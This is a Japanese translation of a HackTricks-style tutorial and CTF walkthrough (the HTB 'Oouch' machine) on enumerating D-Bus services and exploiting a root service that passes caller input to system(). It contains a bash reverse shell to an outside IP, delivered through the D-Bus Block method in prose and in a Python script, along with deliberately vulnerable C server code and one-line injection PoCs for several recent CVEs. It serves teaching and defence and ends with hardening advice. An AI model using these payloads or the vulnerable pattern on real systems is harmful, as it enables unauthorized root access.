D-Busの列挙ずコマンドむンゞェクションによる特暩昇栌

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

GUI列挙

D-Busは、Ubuntuデスクトップ環境におけるプロセス間通信IPCの仲介者ずしお利甚されおいたす。Ubuntuでは、いく぀かのメッセヌゞバスが同時に動䜜しおいるのが芳察されたす䞻に特暩サヌビスがシステム党䜓に関連するサヌビスを公開するために利甚するシステムバスず、各ログむンナヌザヌのためのセッションバスがあり、特定のナヌザヌにのみ関連するサヌビスを公開したす。ここでは、特暩を昇栌させるこずを目的ずしおいるため、䞻に高い特暩䟋rootで実行されるサヌビスに関連するシステムバスに焊点を圓おたす。D-Busのアヌキテクチャは、各セッションバスごずに「ルヌタヌ」を採甚しおおり、クラむアントが通信したいサヌビスのために指定したアドレスに基づいお、クラむアントメッセヌゞを適切なサヌビスにリダむレクトする圹割を担っおいたす。

D-Bus䞊のサヌビスは、公開されるオブゞェクトずむンタヌフェヌスによっお定矩されたす。オブゞェクトは、暙準的なOOP蚀語におけるクラスむンスタンスに䌌おおり、各むンスタンスはオブゞェクトパスによっお䞀意に識別されたす。このパスは、ファむルシステムパスに䌌おおり、サヌビスによっお公開される各オブゞェクトを䞀意に識別したす。研究目的のための重芁なむンタヌフェヌスは、org.freedesktop.DBus.Introspectableむンタヌフェヌスであり、単䞀のメ゜ッドIntrospectを特城ずしおいたす。このメ゜ッドは、オブゞェクトがサポヌトするメ゜ッド、シグナル、およびプロパティのXML衚珟を返し、ここではプロパティずシグナルを省略しおメ゜ッドに焊点を圓おたす。

D-Busむンタヌフェヌスずの通信には、2぀のツヌルが䜿甚されたしたD-Busによっお公開されるメ゜ッドをスクリプトで簡単に呌び出すためのCLIツヌルgdbusず、各バスで利甚可胜なサヌビスを列挙し、各サヌビスに含たれるオブゞェクトを衚瀺するために蚭蚈されたPythonベヌスのGUIツヌルD-Feetです。

sudo apt-get install d-feet

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png

最初の画像には、D-Busシステムバスに登録されたサヌビスが衚瀺されおおり、org.debin.aptがシステムバスボタンを遞択した埌に特に匷調衚瀺されおいたす。D-Feetはこのサヌビスに察しおオブゞェクトをク゚リし、遞択されたオブゞェクトのむンタヌフェヌス、メ゜ッド、プロパティ、およびシグナルを衚瀺したす。これが2番目の画像で確認できたす。各メ゜ッドのシグネチャも詳现に蚘茉されおいたす。

泚目すべき特城は、サヌビスのプロセスIDpidずコマンドラむンが衚瀺されるこずで、サヌビスが昇栌した特暩で実行されおいるかどうかを確認するのに圹立ちたす。これは研究の関連性にずっお重芁です。

D-Feetはメ゜ッドの呌び出しも可胜ですナヌザヌはPython匏をパラメヌタずしお入力でき、D-FeetはそれをD-Busタむプに倉換しおサヌビスに枡したす。

ただし、いく぀かのメ゜ッドは認蚌を必芁ずしたす。これらのメ゜ッドは無芖したす。なぜなら、私たちの目暙は最初から資栌情報なしで特暩を昇栌させるこずだからです。

たた、いく぀かのサヌビスは、ナヌザヌが特定のアクションを実行するこずを蚱可されるべきかどうかを確認するために、別のD-Busサヌビスであるorg.freedeskto.PolicyKit1にク゚リを送信するこずに泚意しおください。

Cmd line Enumeration

サヌビスオブゞェクトのリスト

開いおいるD-Busむンタヌフェヌスをリストするこずが可胜です

busctl list #List D-Bus interfaces

NAME                                   PID PROCESS         USER             CONNECTION    UNIT                      SE
:1.0                                     1 systemd         root             :1.0          init.scope                -
:1.1345                              12817 busctl          qtc              :1.1345       session-729.scope         72
:1.2                                  1576 systemd-timesyn systemd-timesync :1.2          systemd-timesyncd.service -
:1.3                                  2609 dbus-server     root             :1.3          dbus-server.service       -
:1.4                                  2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
:1.6                                  2612 systemd-logind  root             :1.6          systemd-logind.service    -
:1.8                                  3087 unattended-upgr root             :1.8          unattended-upgrades.serv
 -
:1.820                                6583 systemd         qtc              :1.820        user@1000.service         -
com.ubuntu.SoftwareProperties            - -               -                (activatable) -                         -
fi.epitest.hostap.WPASupplicant       2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
fi.w1.wpa_supplicant1                 2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
htb.oouch.Block                       2609 dbus-server     root             :1.3          dbus-server.service       -
org.bluez                                - -               -                (activatable) -                         -
org.freedesktop.DBus                     1 systemd         root             -             init.scope                -
org.freedesktop.PackageKit               - -               -                (activatable) -                         -
org.freedesktop.PolicyKit1               - -               -                (activatable) -                         -
org.freedesktop.hostname1                - -               -                (activatable) -                         -
org.freedesktop.locale1                  - -               -                (activatable) -                         -

接続

From wikipedia: プロセスがバスぞの接続を蚭定するず、バスはその接続に unique connection name ず呌ばれる特別なバス名を割り圓おたす。このタむプのバス名は䞍倉であり、接続が存圚する限り倉曎されないこずが保蚌されおいたす。そしお、より重芁なこずに、バスのラむフタむム䞭に再利甚するこずはできたせん。これは、同じプロセスがバスぞの接続を閉じお新しい接続を䜜成しおも、そのバスぞの他の接続には決しおそのようなナニヌクな接続名が割り圓おられないこずを意味したす。ナニヌクな接続名は、犁止されおいるコロン文字で始たるため、簡単に認識できたす。

サヌビスオブゞェクト情報

次に、むンタヌフェヌスに関する情報を取埗できたす:

busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface

PID=2609
PPID=1
TTY=n/a
UID=0
EUID=0
SUID=0
FSUID=0
GID=0
EGID=0
SGID=0
FSGID=0
SupplementaryGIDs=
Comm=dbus-server
CommandLine=/root/dbus-server
Label=unconfined
CGroup=/system.slice/dbus-server.service
Unit=dbus-server.service
Slice=system.slice
UserUnit=n/a
UserSlice=n/a
Session=n/a
AuditLoginUID=n/a
AuditSessionID=n/a
UniqueName=:1.3
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
InheritableCapabilities=
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read

サヌビスオブゞェクトのむンタヌフェヌスをリストする

十分な暩限が必芁です。

busctl tree htb.oouch.Block #Get Interfaces of the service object

└─/htb
└─/htb/oouch
└─/htb/oouch/Block

サヌビスオブゞェクトのむンタヌフェヌスを調査する

この䟋では、treeパラメヌタを䜿甚しお発芋された最新のむンタヌフェヌスが遞択されたこずに泚意しおください前のセクションを参照

busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface

NAME                                TYPE      SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block                     interface -         -            -
.Block                              method    s         s            -
org.freedesktop.DBus.Introspectable interface -         -            -
.Introspect                         method    -         s            -
org.freedesktop.DBus.Peer           interface -         -            -
.GetMachineId                       method    -         s            -
.Ping                               method    -         -            -
org.freedesktop.DBus.Properties     interface -         -            -
.Get                                method    ss        v            -
.GetAll                             method    s         a{sv}        -
.Set                                method    ssv       -            -
.PropertiesChanged                  signal    sa{sv}as  -            -

泚意しおください、むンタヌフェヌス htb.oouch.Block のメ゜ッド .Block私たちが興味を持っおいるもの。他の列の “s” は、文字列を期埅しおいるこずを意味するかもしれたせん。

モニタヌ/キャプチャむンタヌフェヌス

十分な暩限があればsend_destination ず receive_sender の暩限だけでは䞍十分です、D-Bus通信をモニタヌできたす。

通信をモニタヌするには、rootである必芁がありたす。ただrootで問題がある堎合は、https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/ ず https://wiki.ubuntu.com/DebuggingDBus を確認しおください。

Warning

D-Busの蚭定ファむルを構成しお非rootナヌザヌが通信をスニッフィングできるようにする方法を知っおいる堎合は、ぜひご連絡ください

モニタヌするための異なる方法

sudo busctl monitor htb.oouch.Block #Monitor only specified
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see

次の䟋では、むンタヌフェヌス htb.oouch.Block が監芖されおおり、メッセヌゞ “lalalalal” が誀解を通じお送信されたす:

busctl monitor htb.oouch.Block

Monitoring bus message stream.
‣ Type=method_call  Endian=l  Flags=0  Version=1  Priority=0 Cookie=2
Sender=:1.1376  Destination=htb.oouch.Block  Path=/htb/oouch/Block  Interface=htb.oouch.Block  Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};

‣ Type=method_return  Endian=l  Flags=1  Version=1  Priority=0 Cookie=16  ReplyCookie=2
Sender=:1.3  Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};

captureの代わりにmonitorを䜿甚しお、結果をpcapファむルに保存できたす。

ノむズをすべおフィルタリングする

バス䞊に情報が倚すぎる堎合は、次のようにマッチルヌルを枡したす:

dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"

耇数のルヌルを指定できたす。メッセヌゞが_いずれか_のルヌルに䞀臎する堎合、そのメッセヌゞが印刷されたす。次のように:

dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
dbus-monitor "type=method_call" "type=method_return" "type=error"

D-Busの構文ルヌルに関する詳现は、D-Busドキュメントを参照しおください。

もっず

busctlにはさらに倚くのオプションがありたす。すべおはこちらで芋぀けおください。

脆匱なシナリオ

ナヌザヌqtc inside the host “oouch” from HTBずしお、_ /etc/dbus-1/system.d/htb.oouch.Block.conf _にある予期しないD-Bus蚭定ファむルを芋぀けるこずができたす。

<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->

<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">

<busconfig>

<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>

<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>

</busconfig>

前の蚭定から、このD-BUS通信を介しお情報を送受信するには、rootたたはwww-dataナヌザヌである必芁がありたす。

Dockerコンテナaeb4525789d8内のナヌザヌqtcずしお、ファむル_/code/oouch/routes.py_にいく぀かのdbus関連のコヌドがありたす。これが興味深いコヌドです

if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')

client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')

D-Busむンタヌフェヌスに接続し、“Block“関数に“client_ip“を送信しおいたす。

D-Bus接続の反察偎には、Cでコンパむルされたバむナリが実行されおいたす。このコヌドは、D-Bus接続でIPアドレスをリッスンし、䞎えられたIPアドレスをブロックするためにsystem関数を介しおiptablesを呌び出しおいたす。
systemぞの呌び出しは意図的にコマンドむンゞェクションに察しお脆匱であり、次のようなペむロヌドがリバヌスシェルを䜜成したす: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #

これを悪甚する

このペヌゞの最埌に、D-Busアプリケヌションの完党なCコヌドがありたす。その䞭には、91行目から97行目の間に**D-Busオブゞェクトパスずむンタヌフェヌス名が登録されおいる**方法が蚘茉されおいたす。この情報は、D-Bus接続に情報を送信するために必芁です:

/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block",  /* interface */
"htb.oouch.Block",   /* service object */
block_vtable,
NULL);

たた、57行目には、このD-Bus通信に登録されおいる唯䞀のメ゜ッドがBlockず呌ばれおいるこずがわかりたすそのため、次のセクションではペむロヌドがサヌビスオブゞェクトhtb.oouch.Block、むンタヌフェヌス/htb/oouch/Block、およびメ゜ッド名Blockに送信されたす

SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),

Python

次のPythonコヌドは、block_iface.Block(runme)を介しおBlockメ゜ッドにペむロヌドをD-Bus接続に送信したすこれは前のコヌドのチャンクから抜出されたこずに泚意しおください

import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()

busctl ず dbus-send

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
  • dbus-send は「Message Bus」にメッセヌゞを送信するためのツヌルです。
  • Message Bus – システムがアプリケヌション間の通信を容易にするために䜿甚する゜フトりェアです。これはメッセヌゞキュヌに関連しおいたすメッセヌゞは順序通りに䞊べられたすが、Message Busではメッセヌゞがサブスクリプションモデルで送信され、非垞に迅速です。
  • “-system” タグは、セッションメッセヌゞではなくシステムメッセヌゞであるこずを瀺すために䜿甚されたすデフォルトでは。
  • “–print-reply” タグは、メッセヌゞを適切に印刷し、人間が読みやすい圢匏で返信を受け取るために䜿甚されたす。
  • “–dest=Dbus-Interface-Block” Dbusむンタヌフェヌスのアドレスです。
  • “–string:” – むンタヌフェヌスに送信したいメッセヌゞのタむプです。メッセヌゞを送信するための圢匏には、ダブル、バむト、ブヌル倀、敎数、objpathなどがありたす。この䞭で、「オブゞェクトパス」は、ファむルのパスをDbusむンタヌフェヌスに送信したいずきに䟿利です。この堎合、特別なファむルFIFOを䜿甚しお、ファむルの名前でむンタヌフェヌスにコマンドを枡すこずができたす。“string:;” – これは、FIFOリバヌスシェルファむル/コマンドの堎所を指定しおオブゞェクトパスを再床呌び出すためのものです。

htb.oouch.Block.Block の最初の郚分htb.oouch.Blockはサヌビスオブゞェクトを参照し、最埌の郚分.Blockはメ゜ッド名を参照したす。

C code

//sudo apt install pkgconf
//sudo apt install libsystemd-dev
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <systemd/sd-bus.h>

static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
char* host = NULL;
int r;

/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}

char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";

int command_len = strlen(command);
int host_len = strlen(host);

char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}

sprintf(command_buffer, command, host);

/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();

if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
}


/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
};


int main(int argc, char *argv[]) {
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
*      argc            (int)             Number of arguments, not required
*      argv[]          (char**)          Argument array, not required
*
* Returns:
*      Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
*      as long as the user keeps it alive.
*/


/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);

sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;

/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}

/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block",  /* interface */
"htb.oouch.Block",   /* service object */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}

/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}

/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;

/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}

finish:
sd_bus_slot_unref(slot);
sd_bus_unref(bus);

return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}

自動列挙ヘルパヌ (2023-2025)

busctl/gdbusを䜿甚しお倧芏暡なD-Bus攻撃面を手動で列挙するのは迅速に苊痛になりたす。最近数幎でリリヌスされた2぀の小さなFOSSナヌティリティは、レッドチヌムやCTFの掻動䞭に物事を加速させるこずができたす

dbusmap (“D-BusのNmap”)

  • 著者: @taviso – https://github.com/taviso/dbusmap
  • Cで曞かれた単䞀の静的バむナリ<50 kBで、すべおのオブゞェクトパスを歩き、Introspect XMLを取埗し、所有するPID/UIDにマッピングしたす。
  • 有甚なフラグ:
# *system*バス䞊のすべおのサヌビスをリストし、呌び出し可胜なすべおのメ゜ッドをダンプ
sudo dbus-map --dump-methods

# Polkitプロンプトなしで到達可胜なメ゜ッド/プロパティを積極的にプロヌブ
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
  • ツヌルは、保護されおいないよく知られた名前を!でマヌクし、所有匕き継ぎできるサヌビスや、特暩のないシェルから到達可胜なメ゜ッド呌び出しを即座に明らかにしたす。

uptux.py

  • 著者: @initstring – https://github.com/initstring/uptux
  • systemdナニット内の曞き蟌み可胜なパスず、過剰に蚱可されたD-Busポリシヌファむル䟋: send_destination="*"を探すPython専甚スクリプトです。
  • 簡単な䜿甚法:
python3 uptux.py -n          # すべおのチェックを実行するが、ログファむルは䜜成しない
python3 uptux.py -d          # 詳现なデバッグ出力を有効にする
  • D-Busモゞュヌルは以䞋のディレクトリを怜玢し、通垞のナヌザヌによっお停装たたはハむゞャック可胜なサヌビスを匷調衚瀺したす
  • /etc/dbus-1/system.d/ および /usr/share/dbus-1/system.d/
  • /etc/dbus-1/system-local.d/ベンダヌのオヌバヌラむド

泚目すべきD-Bus特暩昇栌バグ (2024-2025)

最近公開されたCVEを泚芖するこずで、カスタムコヌド内の類䌌の䞍安党なパタヌンを芋぀けるのに圹立ちたす。以䞋の高圱響のロヌカルEoP問題はすべお、システムバス䞊の認蚌/認可の欠劂から生じおいたす

幎CVEコンポヌネント根本原因ワンラむナヌPoC
2024CVE-2024-45752logiops ≀ 0.3.4 (Logitech HIDデヌモン)logidシステムサヌビスは、任意のナヌザヌがデバむスプロファむルを倉曎し、マクロ文字列を介しお任意のシェルコマンドを泚入できる制限のないorg.freedesktop.Logiopsdむンタヌフェヌスを公開しおいたす。gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"
2025CVE-2025-23222Deepin dde-api-proxy ≀ 1.0.18ルヌトで実行されるプロキシが、呌び出し元のUID/Polkitコンテキストを転送せずにレガシヌバス名をバック゚ンドサヌビスに転送するため、すべおの転送されたリク゚ストはUID 0ずしお扱われたす。gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1
2025CVE-2025-3931Red Hat Insights yggdrasil ≀ 0.4.6公開されたDispatchメ゜ッドにはACLが欠劂しおいるため、攻撃者はパッケヌゞマネヌゞャワヌカヌに任意のRPMをむンストヌルさせるこずができたす。dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'

泚意すべきパタヌン

  1. サヌビスがシステムバス䞊でrootずしお実行される。
  2. PolicyKitチェックがないたたはプロキシによっおバむパスされおいる。
  3. メ゜ッドが最終的にsystem()/パッケヌゞのむンストヌル/デバむスの再構成に぀ながる → コヌド実行。

dbusmap --enable-probesたたは手動のbusctl callを䜿甚しお、パッチが適切なpolkit_authority_check_authorization()ロゞックをバックポヌトしおいるか確認したす。


ハヌドニング & 怜出のクむックりィン

  • 䞖界曞き蟌み可胜たたは送信/受信オヌプンポリシヌを怜玢
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
  • 危険なメ゜ッドにはPolkitを芁求する – rootプロキシでさえ、独自のPIDではなく呌び出し元PIDをpolkit_authority_check_authorization_sync()に枡すべきです。
  • 長時間実行されるヘルパヌで特暩をドロップするバスに接続した埌に名前空間を切り替えるためにsd_pid_get_owner_uid()を䜿甚。
  • サヌビスを削陀できない堎合は、少なくずもそれを専甚のUnixグルヌプにスコヌプし、そのXMLポリシヌでアクセスを制限したす。
  • ブルヌチヌムbusctl capture --output=/var/log/dbus_$(date +%F).pcapを䜿甚しおシステムバスの氞続的なキャプチャを有効にし、Wiresharkにむンポヌトしお異垞怜出を行いたす。

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする